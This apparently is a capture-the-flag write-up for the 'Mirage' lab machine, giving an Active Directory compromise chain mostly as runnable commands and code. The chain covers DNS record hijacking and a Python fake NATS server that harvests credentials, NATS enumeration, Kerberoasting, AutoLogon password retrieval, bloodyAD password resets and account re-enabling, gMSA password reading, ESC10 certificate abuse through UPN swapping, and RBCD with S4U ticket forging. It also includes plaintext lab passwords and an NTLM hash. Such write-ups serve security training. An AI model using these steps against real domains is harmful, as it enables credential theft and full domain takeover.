Mirage

User

NTLM disabled -> Kerberos only /etc/krb5.conf file

[libdefaults]
    default_realm = MIRAGE.HTB

[realms]
    MIRAGE.HTB = {
        kdc = dc01.mirage.htb
        admin_server = dc01.mirage.htb
    }

[domain_realm]
    .mirage.htb = MIRAGE.HTB
    mirage.htb = MIRAGE.HTB

DNS record missing for the entry nats-svc.mirage.htb -

server 10.10.11.78
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 60 A <YOUR_IP>
send

Make a fake NATS script that will be listening on your machine

#!/usr/bin/env python3
"""
Fake NATS Server for Educational/Lab Testing
WARNING: Only use in isolated lab environments for security research/education
"""

import socket
import threading
import time
import logging
from datetime import datetime

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

class FakeNATSServer:
    def __init__(self, host='0.0.0.0', port=4222):
        self.host = host
        self.port = port
        self.running = False
        self.clients = []
        
    def start(self):
        """Start the fake NATS server"""
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        
        try:
            self.socket.bind((self.host, self.port))
            self.socket.listen(5)
            self.running = True
            
            logger.info(f"Fake NATS server started on {self.host}:{self.port}")
            logger.warning("WARNING: This is a fake server for lab testing only!")
            
            while self.running:
                try:
                    client_socket, address = self.socket.accept()
                    logger.info(f"=== RAW CONNECTION ACCEPTED ===")
                    logger.info(f"Client: {address}")
                    logger.info(f"Time: {datetime.now()}")
                    logger.info(f"Socket info: {client_socket.getpeername()}")
                    logger.info("=" * 40)
                    
                    # Handle each client in a separate thread
                    client_thread = threading.Thread(
                        target=self.handle_client,
                        args=(client_socket, address)
                    )
                    client_thread.daemon = True
                    client_thread.start()
                    
                except socket.error as e:
                    if self.running:
                        logger.error(f"Socket error: {e}")
                        
        except Exception as e:
            logger.error(f"Failed to start server: {e}")
        finally:
            self.socket.close()
    
    def handle_client(self, client_socket, address):
        """Handle individual client connections"""
        try:
            # Set socket timeout to prevent hanging
            client_socket.settimeout(30)
            
            # Log initial connection details
            logger.info(f"=== NEW CONNECTION FROM {address} ===")
            logger.info(f"Timestamp: {datetime.now()}")
            
            # Send NATS INFO message (basic NATS protocol handshake)
            info_msg = {
                "server_id": "fake-nats-lab",
                "version": "2.9.0",
                "go": "go1.19",
                "host": self.host,
                "port": self.port,
                "max_payload": 1048576,
                "proto": 1,
                "client_id": len(self.clients),
                "auth_required": False,  # Don't require auth initially to see more traffic
                "tls_required": False,
                "connect_urls": [f"{self.host}:{self.port}"]
            }
            
            import json
            info_line = f"INFO {json.dumps(info_msg)}\r\n"
            client_socket.send(info_line.encode())
            logger.info(f"Sent INFO to {address}: {info_line.strip()}")
            
            # Wait for client response with better error handling
            buffer = b""
            while True:
                try:
                    data = client_socket.recv(1024)
                    if not data:
                        logger.info(f"Client {address} closed connection (no data)")
                        break
                    
                    buffer += data
                    logger.info(f"Raw data from {address}: {data}")
                    
                    # Try to decode and process messages
                    try:
                        message = buffer.decode('utf-8', errors='ignore').strip()
                        logger.info(f"Decoded message from {address}: {repr(message)}")
                        
                        # Process different message types
                        if message.startswith('CONNECT'):
                            self.log_connect_attempt(address, message)
                            client_socket.send(b"+OK\r\n")
                            logger.info(f"Sent +OK response to {address}")
                        
                        elif message.startswith('PING'):
                            client_socket.send(b"PONG\r\n")
                            logger.info(f"Responded to PING from {address}")
                        
                        elif message.startswith('SUB') or message.startswith('PUB'):
                            client_socket.send(b"+OK\r\n")
                            logger.info(f"Acknowledged {message.split()[0]} from {address}")
                        
                        else:
                            logger.info(f"Unknown message type from {address}: {message}")
                            client_socket.send(b"+OK\r\n")
                        
                        # Clear buffer after processing
                        buffer = b""
                        
                    except UnicodeDecodeError:
                        logger.warning(f"Could not decode message from {address}")
                        
                except socket.timeout:
                    logger.info(f"Timeout waiting for data from {address}")
                    break
                except ConnectionResetError:
                    logger.info(f"Connection reset by {address}")
                    break
                except Exception as e:
                    logger.error(f"Error handling client {address}: {e}")
                    break
                    
        except Exception as e:
            logger.error(f"Client handler error for {address}: {e}")
        finally:
            client_socket.close()
            logger.info(f"Connection closed for {address}")
    
    def log_connect_attempt(self, address, connect_msg):
        """Log connection attempts with potential credentials"""
        logger.info(f"=== CONNECTION ATTEMPT FROM {address} ===")
        logger.info(f"Timestamp: {datetime.now()}")
        logger.info(f"Full CONNECT message: {connect_msg}")
        
        # Try to extract JSON from CONNECT message
        try:
            import json
            # CONNECT messages typically contain JSON after "CONNECT "
            json_start = connect_msg.find('{')
            if json_start != -1:
                json_data = connect_msg[json_start:]
                connect_info = json.loads(json_data)
                
                logger.info("Connection details:")
                for key, value in connect_info.items():
                    if key in ['user', 'pass', 'auth_token', 'name', 'client_id']:
                        logger.warning(f"  {key}: {value}")
                    else:
                        logger.info(f"  {key}: {value}")
                        
        except Exception as e:
            logger.debug(f"Could not parse CONNECT JSON: {e}")
        
        logger.info("=" * 50)
    
    def stop(self):
        """Stop the server"""
        self.running = False
        try:
            self.socket.close()
        except:
            pass
        logger.info("Fake NATS server stopped")

def main():
    print("=" * 60)
    print("FAKE NATS SERVER FOR LAB TESTING")
    print("=" * 60)
    print("WARNING: Only use in isolated lab environments!")
    print("This server logs connection attempts and credentials")
    print("for educational/security research purposes only.")
    print("=" * 60)
    
    # Get configuration
    host = input("Enter host (default 0.0.0.0): ").strip() or "0.0.0.0"
    port_input = input("Enter port (default 4222): ").strip()
    port = int(port_input) if port_input else 4222
    
    # Create and start server
    server = FakeNATSServer(host, port)
    
    try:
        server.start()
    except KeyboardInterrupt:
        print("\nShutting down server...")
        server.stop()

if __name__ == "__main__":
    main()

Capture credentials Dev_Account_A:hx5h7F5554fP@1337! Use it to enumerate the NATS server.

## Connect to the NATS server
nats --server nats://mirage.htb:4222 rtt --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
## List all streams
nats stream ls --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
## Add a consumer called reader 
nats consumer add auth_logs reader --pull --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
## Query consumer for the last 5 messages
nats consumer next auth_logs reader --count=5 --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

We get david.jjackson:pN8kQmn6b86!1234@

Kerberoast for nathan.aadam:3edc#EDC3

Root

Run winPEAS

*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  MIRAGE
    DefaultUserName               :  mark.bbond
    DefaultPassword               :  1day@atime

mark.bbond has ForceChangeUserPassword on javier.mmarshall He can also write attributes of javier

bloodyAD --host dc01.mirage.htb -d mirage.htb -k -u 'mark.bbond' -p '1day@atime' get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: WRITE
userAccountControl: WRITE

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE

Make custom script to write logon hours to all, as well as use bloodyAD to set password and uac value

import ldap3
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, SASL, KERBEROS
import os

def set_user_logon_hours(server_url, username, password, target_user, logon_hours):
    """
    Set logon hours for an Active Directory user via LDAP using Kerberos authentication
    
    Args:
        server_url: LDAP server URL (e.g., 'ldap://dc.example.com')
        username: Username for Kerberos authentication
        password: Password for Kerberos authentication  
        target_user: Username of the user to modify
        logon_hours: 21-byte array representing allowed logon hours
    """
    try:
        # Set up Kerberos environment (optional, may be needed depending on setup)
        os.environ['KRB5_CONFIG'] = '/etc/krb5.conf'  # Adjust path as needed
        
        # Create server connection
        server = Server(server_url, get_info=ALL)
        
        # Use Kerberos/SASL authentication
        conn = Connection(
            server, 
            user=username,
            password=password,
            authentication=SASL,
            sasl_mechanism=KERBEROS,
            auto_bind=True
        )
        
        # Search for the target user
        search_base = 'DC=mirage,DC=htb'  # Domain: mirage.htb
        search_filter = f'(sAMAccountName={target_user})'
        
        conn.search(search_base, search_filter, attributes=['distinguishedName'])
        
        if not conn.entries:
            print(f"User {target_user} not found")
            return False
            
        user_dn = conn.entries[0].distinguishedName.value
        print(f"Found user: {user_dn}")
        
        # Modify the logonHours attribute
        changes = {
            'logonHours': [(MODIFY_REPLACE, [bytes(logon_hours)])]
        }
        
        success = conn.modify(user_dn, changes)
        
        if success:
            print(f"Successfully updated logon hours for {target_user}")
        else:
            print(f"Failed to update logon hours: {conn.result}")
            
        conn.unbind()
        return success
        
    except Exception as e:
        print(f"Error: {e}")
        return False

# Example usage
if __name__ == "__main__":
    # Server configuration
    LDAP_SERVER = "ldap://DC01.mirage.htb"
    ADMIN_USER = "mark.bbond"
    ADMIN_PASS = "1day@atime"
    TARGET_USER = "javier.mmarshall"
    
    # Define logon hours: allow logon 8am - 6pm Monday to Friday
    # Each byte represents hours for a day (bit 0 = midnight-1am, bit 1 = 1am-2am, etc.)
    # Days: Sunday(0), Monday(1), Tuesday(2), Wednesday(3), Thursday(4), Friday(5), Saturday(6)
    # Then repeat pattern for weeks 2 and 3 (total 21 bytes)
    
    # 0xFF = 11111111 (all hours), 0x03 = 00000011, 0xFF = 11111111, etc.
    # This matches the PowerShell pattern: 8am-6pm Mon-Fri
    logon_hours = [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]
    
    # Alternative: More readable way to construct the hours
    def create_logon_hours():
        hours = [0] * 21  # Initialize 21 bytes (3 weeks worth)
        
        # For each week (3 total)
        for week in range(3):
            base = week * 7
            
            # Monday to Friday (days 1-5 of each week)
            for day in range(1, 6):  # Monday=1, Friday=5
                # Set bits for 8am-6pm (hours 8-17)
                # In the byte, bit position corresponds to hour
                hour_byte = 0
                for hour in range(8, 18):  # 8am to 6pm (exclusive end)
                    hour_byte |= (1 << hour)
                
                # However, AD uses a different bit arrangement
                # The original PowerShell uses specific values, so let's use those
                if day == 1:  # Monday
                    hours[base + day] = 255  # 0xFF
                    hours[base + day + 1] = 3  # Next part
                elif day in [2, 3, 4]:  # Tue, Wed, Thu
                    hours[base + day] = 255
                    hours[base + day + 1] = 3
                elif day == 5:  # Friday
                    hours[base + day] = 255
                    hours[base + day + 1] = 3
        
        return hours
    
    # Use the predefined hours that match PowerShell
    success = set_user_logon_hours(
        LDAP_SERVER,
        ADMIN_USER, 
        ADMIN_PASS,
        TARGET_USER,
        logon_hours
    )
    
    if success:
        print("Logon hours updated successfully!")
    else:
        print("Failed to update logon hours")
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set object javier.mmarshall userAccountControl -v 512
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k set password javier.mmarshall 'Password123@'

Using bloodyAD again, javier has readGMSAPAssword over Mirage-svc$ account

bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u javier.mmarshall -p Password123@ get object Mirage-Service$ --attr msDS-ManagedPassword

Mirage-Svc$ has GenericWrite over mark

bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --detail 

distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
msTPM-InformationObject: CREATE_CHILD

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
manager: WRITE
mail: WRITE
msDS-HABSeniorityIndex: WRITE
msDS-PhoneticDisplayName: WRITE
msDS-PhoneticCompanyName: WRITE
msDS-PhoneticDepartment: WRITE
msDS-PhoneticLastName: WRITE
msDS-PhoneticFirstName: WRITE
msDS-SourceObjectDN: WRITE
msDS-AllowedToDelegateTo: WRITE
altSecurityIdentities: WRITE
servicePrincipalName: WRITE
userPrincipalName: WRITE
legacyExchangeDN: WRITE
otherMailbox: WRITE
showInAddressBook: WRITE
systemFlags: WRITE
division: WRITE
objectGUID: WRITE
name: WRITE
displayNamePrintable: WRITE
proxyAddresses: WRITE
company: WRITE
department: WRITE
co: WRITE
dn: WRITE
initials: WRITE
givenName: WRITE
description: WRITE
title: WRITE
ou: WRITE
o: WRITE
sn: WRITE
objectCategory: WRITE
cn: WRITE
objectClass: WRITE

distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msDS-HostServiceAccount: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE

To do ESC10 via schannel - need CertificateMappingMethods=0x4 and a GENERIC_WRITE over a user

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
    EventLogging    REG_DWORD    0x1
    CertificateMappingMethods    REG_DWORD    0x4

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols

Use impacket-getTGT before running this

## Update UPN
certipy-ad -debug account update -user mark.bbond -upn  'dc01$@mirage.htb' -k -no-pass -dc-ip 10.129.96.62 -dc-host DC01.mirage.htb 

Request for mark.bbond after updating upn to DC01$@mirage.htb

impacket-getTGT mirage.htb/mark.bbond:'1day@atime'
export KRB5CCNAME=mark.bbond.ccache
certipy-ad req \
  -u 'mark.bbond@mirage.htb' \
  -k -no-pass \
  -dc-ip 10.129.96.62 \   
  -target 'dc01.mirage.htb' \
  -ca 'mirage-DC01-CA' \
  -template 'User'

Update upn back using Mirage-Svc$ ticket

certipy-ad account update \                                                          
   -user 'mark.bbond' \
   -upn 'mark.bbond@mirage.htb' \
   -u 'mirage-service$@mirage.htb' \
   -k -no-pass \
   -dc-ip 10.129.96.62 \
-target DC01.mirage.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'mark.bbond':
    userPrincipalName                   : mark.bbond@mirage.htb
[*] Successfully updated 'mark.bbond'

Do RBCD with --ldap-shell cause schannel authentication. We can use Mirage-svc$ account

certipy-ad auth -pfx dc01.pfx -dc-ip 10.129.96.62 -ldap-shell                                                                              
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'dc01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.96.62:636'
[*] Authenticated to '10.129.96.62' as: 'u:MIRAGE\\DC01$'
Type help for list of commands

# add_computer plaintext plaintext123
Attempting to add a new computer with the name: plaintext$
Inferred Domain DN: DC=mirage,DC=htb
Inferred Domain Name: mirage.htb
New Computer DN: CN=plaintext,CN=Computers,DC=mirage,DC=htb
LDAPUnwillingToPerformResult - 53 - unwillingToPerform - None - 0000216D: SvcErr: DSID-031A126C, problem 5003 (WILL_NOT_PERFORM), data 0
 - addResponse - None

# set_rbcd lab-dc$ plaintext$
('Error expected only one search result got %d results', 0)

# set_rbcd lab-dc$ 
list index out of range

#  set_rbcd dc01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000

Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy

Now just create a service ticket with getST as DC01$ and secretsdump -> We cannot RBCD Administrator due to it being a protected user

impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate DC01$ -dc-ip 10.129.96.62 'mirage.htb'/'Mirage-Service$' -hashes :305806d84f7c1be93a07aaf40f0c7866  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache

Last updated